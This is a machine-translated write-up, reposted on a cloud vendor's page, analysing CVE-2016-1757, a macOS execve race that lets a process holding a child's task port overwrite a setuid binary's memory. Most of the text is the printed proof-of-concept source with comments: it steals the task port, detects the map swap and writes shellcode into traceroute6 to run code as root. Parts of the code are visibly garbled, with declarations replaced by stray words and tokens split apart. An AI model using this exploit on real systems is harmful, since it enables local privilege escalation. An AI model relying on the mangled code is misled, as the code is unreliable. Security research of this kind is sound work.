CVE-2016-1757 simple analysis

Source: Internet
Author: User
Tags cve

CVE-2016-1757 simple analysis

0x00 Abstract

The latest 10.11.4 patch fixes a vulnerability that exploits conditional competition to Obtain Code Execution permissions. After understanding the kernel source code and poc, the vulnerability is analyzed in a simple way.

0x01 basic knowledge 1.1 exec function Process

I analyzed several important functions in the exec execution process in detail in the OSX kernel load mach-o process analysis. This is a streamlined flowchart.

1.2 mach_vm _ * API

Mach provides a user-layer operation mode for virtual memory. A series of APIs that operate on vm_map_t can perform many operations on the virtual memory. Here vm_map_t is the PORT.

There are many APIs in this series. Here is a brief introduction to the APIs used in the POC.

1.2.1 mach_vm_allocate
#!cmach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);

Allocate size bytes of memory in map. Different processing methods are available based on flags. Address is an I/O parameter (for example, obtain the allocated memory size ).

If the flags value is not VM_FLAGS_ANYWHERE, the memory will be allocated to the address pointed.

1.2.2 mach_vm_region
#!ckern_return_tmach_vm_region(    vm_map_t         map,    mach_vm_offset_t    *address,       /* IN/OUT */    mach_vm_size_t  *size,          /* OUT */    vm_region_flavor_t   flavor,        /* IN */    vm_region_info_t     info,          /* OUT */    mach_msg_type_number_t  *count,         /* IN/OUT */    mach_port_t     *object_name)       /* OUT */

Obtains information about the VM region (virtual memory area) starting with the address in the task pointed to by the map. Currently, only VM_BASIC_INFO_64 is marked as flavor.

The data structure of the obtained info is as follows.

#!cstruct vm_region_basic_info_64 {    vm_prot_t       protection;    vm_prot_t       max_protection;    vm_inherit_t        inheritance;    boolean_t       shared;    boolean_t       reserved;    memory_object_offset_t  offset;    vm_behavior_t       behavior;    unsigned short      user_wired_count;};
1.2.3 mach_vm_protect
#!ckern_return_tmach_vm_protect(    mach_port_name_t task,    mach_vm_address_t address,    mach_vm_size_t size,    boolean_t set_maximum,    vm_prot_t new_protection)

Set the memory protection policy for the memory segment from address to address + size. new_protection is the final protection mechanism.

1.2.4 mach_vm_write
#!ckern_return_tmach_vm_write(    vm_map_t            map,    mach_vm_address_t       address,    pointer_t           data,    __unused mach_msg_type_number_t size)

Rewrite the memory content pointed to by address.

1.3 Ports

Ports is a mechanism provided by Mach for mutual interaction between tasks. Ports can be used for communication between similar processes. Each port has its own permissions.

#!c#define MACH_PORT_RIGHT_SEND        ((mach_port_right_t) 0)#define MACH_PORT_RIGHT_RECEIVE     ((mach_port_right_t) 1)#define MACH_PORT_RIGHT_SEND_ONCE   ((mach_port_right_t) 2)#define MACH_PORT_RIGHT_PORT_SET    ((mach_port_right_t) 3)#define MACH_PORT_RIGHT_DEAD_NAME   ((mach_port_right_t) 4)#define MACH_PORT_RIGHT_LABELH          ((mach_port_right_t) 5)#define MACH_PORT_RIGHT_NUMBER      ((mach_port_right_t) 6)

Ports can be transferred between different tasks. Other tasks can be granted the ports operation permissions. For example, the POC uses Port transfer between the parent process and the child process to obtain the permission for memory operations.

0x02 vulnerability principles

There is a time window when the kernel processes the setuid program. Through this time window, the program with the process Port can rewrite any memory of the target process before the process Port is closed, by Rewriting the memory, attackers can use the root permission of the target process to execute arbitrary shellcode.

2.1 execv Process Vulnerability

Load_machfile source code analysis

Exec_mach_imgact source code analysis

There is a time window between swap_task_map and exec_handle_suid. The task port can still modify the memory.

For details, refer to poc and the source code analysis log.

2.2 Capture Time Window)

? The time window opened is very important for writing poc, because the entire behavior is subject to kernel control after exec is called, and there is no direct way to obtain the time window, the method provided in poc is to call mach_vm_region continuously. When the window appears, that is, when switching from old_map to new_map, the address obtained by the mach_vm_region function should be different. The specific implementation will be mentioned in the poc source code analysis below.

2.3 arbitrary memory write

? After the window is opened, you can use the port and a series of mach_vm _ * functions mentioned above to write any write operations to the target process and write the shellcode.

2.4 shellcode Execution)

? Where can the shellcode be written for execution?

? Through the analysis of traceroute6, we can see that the address offset of _ text is 0x153c. Therefore, the shellcode can be executed by rewriting the memory of the address.

0x03 POC source code analysis 3.1 main
#! Cint main () {kern_return_t err; // register a name with launchd mach_port_t bootstrap_port; err = task_get_bootstrap_port (mach_task_self (), & bootstrap_port); if (err! = KERN_SUCCESS) {mach_error ("can't get bootstrap port", err); return 1 ;}// create a port mach_port_t service_port with the message-receiving permission; err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE, & service_port); if (err! = KERN_SUCCESS) {mach_error ("can't allocate service port", err); return 1 ;}// add SEND permission for port err = mach_port_insert_right (mach_task_self (), service_port, service_port, MACH_MSG_TYPE_MAKE_SEND); if (err! = KERN_SUCCESS) {mach_error ("can't insert make send right", err); return 1 ;} //// register a global Port // The sub-process will inherit this port err = bootstrap_register (bootstrap_port, service_name, service_port); if (err! = KERN_SUCCESS) {mach_error ("can't register service port", err); return 1 ;} printf ("[+] registered service \" % s \ "with launchd to receive child thread port \ n", service_name); // fork a child pid_t child_pid = fork (); if (child_pid = 0) {do_child () ;}else {do_parent (service_port); int status; wait (& status) ;}return 0 ;}

After the main function creates a port, fork generates a subroutine and starts to do what they do.

3.2 do_child
#! Cvoid do_child () {kern_return_t err; // find the global port mach_port_t bootstrap_port; err = task_get_bootstrap_port (mach_task_self (), & bootstrap_port); if (err! = KERN_SUCCESS) {mach_error ("child can't get bootstrap port", err); return;} mach_port_t service_port; err = bootstrap_look_up (bootstrap_port, service_name, & service_port ); if (err! = KERN_SUCCESS) {mach_error ("child can't get service port", err); return;} // create a reply port: // create a port mach_port_t reply_port; err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE, & reply_port); if (err! = KERN_SUCCESS) {mach_error ("child unable to allocate reply port", err); return ;} // send it our task port // send the sub-process port to the parent process task_msg_send_t msg = {0}; msg. header. msgh_size = sizeof (msg); msg. header. msgh_local_port = reply_port; msg. header. msgh_remote_port = service_port; msg. header. msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg. B Ody. msgh_descriptor_count = 1; msg. port. name = mach_task_self (); msg. port. disposition = MACH_MSG_TYPE_COPY_SEND; msg. port. type = MACH_MSG_PORT_DESCRIPTOR; err = mach_msg_send (& msg. header); if (err! = KERN_SUCCESS) {mach_error ("child unable to send thread port message", err); return ;} // wait for a reply to ack that the other end got our thread port // wait for the parent process to reply ack_msg_recv_t reply = {0}; err = mach_msg (& reply. header, MACH_RCV_MSG, 0, sizeof (reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err! = KERN_SUCCESS) {mach_error ("child unable to receive ack", err); return ;} // exec the suid-root binary // traceroute6 char * argv [] = {suid_binary_path, "-w", "rofl", NULL }; char * envp [] = {NULL}; execve (suid_binary_path, argv, envp );}

The sub-process is also very simple. It sends its own port to the parent process to make sure that the parent process has obtained the port and runs the setuid program. traceroute6 is used in the poc.

3.3 do_parent
#! Cvoid do_parent (mach_port_t service_port) {kern_return_t err; // generate the page we want to write into the child: // apply for one page of memory, the page will also be written into the sub-process mach_vm_address_t addr = 0; err = mach_vm_allocate (mach_task_self (), & addr, 4096, VM_FLAGS_ANYWHERE); if (err! = KERN_SUCCESS) {mach_error ("failed to mach_vm_allocate memory", err); return ;}// write data at 0x153c to shellcode FILE * f = fopen (suid_binary_path, "r "); fseek (f, 0x1000, SEEK_SET); fread (char *) addr, 0x1000, 1, f); fclose (f); memcpy (char *) addr) + 0x53c, shellcode, sizeof (shellcode); // wait to get the child's task port on the service port: // port task_msg_recv_t msg = {0}; err = mach_msg (& msg. h Eader, MACH_RCV_MSG, 0, sizeof (msg), service_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err! = KERN_SUCCESS) {mach_error ("error processing service message", err); return;} mach_port_t target_task_port = msg. port. name; // before we ack the task port message to signal that the other process shoshould execve the suid // binary get the lowest mapped address: // get the memory information struct region immediately; region region_count = memory; memory_object_name_t object_name = MACH_PORT_NULL;/* unused */define target_first_size = 0x1000; condition = 0x0; err = mach_vm_region (target_task_port, & original_first_addr, & target_first_size, VM_REGION_BASIC_INFO_64, (vm_region_info_t)®Ion,®Ion_count, & object_name); if (err! = KERN_SUCCESS) {mach_error ("unable to get first mach_vm_region for target process \ n", err); return ;} printf ("[+] looks like the target processes lowest mapping is at % zx prior to execve \ n", original_first_addr ); // send an ack message to the reply port indicating that we have the thread port ack_msg_send_t ack = {0}; mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE (msg. header. msgh _ Bits); ack. header. msgh_bits = MACH_MSGH_BITS (reply_port_rights, 0); ack. header. msgh_size = sizeof (ack); ack. header. msgh_local_port = MACH_PORT_NULL; ack. header. msgh_remote_port = msg. header. msgh_remote_port; ack. header. msgh_bits = MACH_MSGH_BITS (reply_port_rights, 0); // use the same rights we got err = mach_msg_send (& ack. header); if (err! = KERN_SUCCESS) {mach_error ("parent failed sending ack", err); return;} mach_vm_address_t target_first_addr = 0x0; (;;) {// wait until we see that the map has been swapped and the binary is loaded into it: // the memory information is continuously retrieved cyclically region_count = VM_REGION_BASIC_INFO_COUNT_64; object_name = MACH_PORT_NULL; /* unused */target_first_size = 0x1000; target_first_addr = 0x0; err = mach_vm_region (target_task_port, & target_first_addr, & target_first_size, timeout, (timeout)®Ion,®Ion_count, & object_name); if (target_first_addr! = Original_first_addr & target_first_addr <0x200000000) {// the first address has changed implying that the map was swapped // let's try to win the race // when the obtained memory information is different from the previous one // description the competition window opens // you can try to write the shellcode break ;}} // write shellcode mach_vm_address_t target_addr = target_first_addr + 0x1000; required target_size = 0x1000; mach_vm_protect (target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); mach_vm_write (target_task_port, target_addr, addr, target_size); printf ("hopefully overwrote some code in the target... \ n "); printf (" the target first addr changed to % zx \ n ", target_first_addr); // after the sub-process window is closed, the memory has been rewritten, when the entry is executed normally, shellcode is executed .}

The behavior of the parent process is complex:

Construct shellcode to obtain the sub-process port. Obtain the competing Window Based on the sub-process memory information. Open the window and write it into shellcode, waiting for shellcode to be executed. 0x04 Summary

? After combing the poc and kernel source code, after learning a series of execution processes of the execv function and a series of memory-operated tool functions in the kernel, this vulnerability is actually a simple logic vulnerability, an old port can be used to rewrite the memory address of a process before the port is disabled. When the target process happens to be a setuid process, it has the root permission to execute arbitrary code.

? Through poc analysis, you should learn the following knowledge:

Execv Execution Process port using mach_vm _ * API

? After fully understanding the poc principles, you can further analyze the vulnerability's Exploit to get kernel code execution in more detail, so as to reflect on and summarize, how to prevent such vulnerabilities during development and how to discover similar vulnerabilities through testing or code auditing.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.